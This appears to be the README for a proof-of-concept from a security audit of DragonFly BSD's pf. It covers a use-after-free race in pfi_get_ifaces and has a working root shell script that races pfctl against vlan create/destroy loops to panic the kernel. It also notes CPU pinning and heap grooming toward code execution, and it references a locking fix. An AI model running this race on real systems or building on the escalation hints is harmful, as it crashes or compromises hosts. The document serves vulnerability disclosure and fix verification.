# DF-0605 — PoC: pfi_get_ifaces UAF walk (shell driver)

Privileged local UAF PoC. `pfi_get_ifaces()` walks the global `pfi_ifs` RB
tree with only `crit_enter()` (CPU-local), while concurrent
`ifnet_detach_event` on another CPU frees kifs via `pfi_kif_unref`. The
walker's `nextp` may land on a freed kif → UAF read in `pfi_skip_if`.

## Files

- `race.sh` — shell driver (tight `pfctl -i all -v` loop + concurrent
  `ifconfig vlan* create/destroy` loop).
- (added by per-PoC verifier) full C harness with `cpuset -x` pinning,
  `build.sh`, `run.sh`, `run.log`, `VERDICT.md`, `manifest.json`,
  `fix.diff`.

## Run

On a 2+ CPU DragonFly system with pf enabled:

```sh
# CPU 0: tight DIOCIGETIFACES loop
while :; do pfctl -i all -v 2>/dev/null; done &

# CPU 1: create+destroy many interfaces concurrently
while :; do
    for i in $(seq 0 64); do ifconfig vlan$i create 2>/dev/null; done
    for i in $(seq 0 64); do ifconfig vlan$i destroy 2>/dev/null; done
done &
```

## Expected outcome

Kernel panic with a stack trace through `pfi_skip_if` / `strcmp` /
`TAILQ_FOREACH` inside `pfi_get_ifaces`:

```
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x...
backtrace:
    pfi_skip_if+0x...
    pfi_get_ifaces+0x...
    pfioctl+0x...
```

## Notes for the per-PoC verifier

- Use `cpuset -x` / `usched_setcpu` to pin the two loops to different CPUs
  for reliable race overlap.
- The walker visits each kif in the tree; on a system with many interfaces
  / groups, the per-call success probability scales linearly with the
  number of kifs.
- Heap grooming of the freed kif (`sizeof(struct pfi_kif)`) for code-
  execution escalation requires a slab-size analysis; document the victim
  object in `VERDICT.md`.
- Verify the fix with `git apply findings/poc/DF-0605/fix.diff` (the
  `lwkt_gettoken(&pf_token)` around the walk + tree-mutating event
  handlers); after the fix the race should no longer fire.
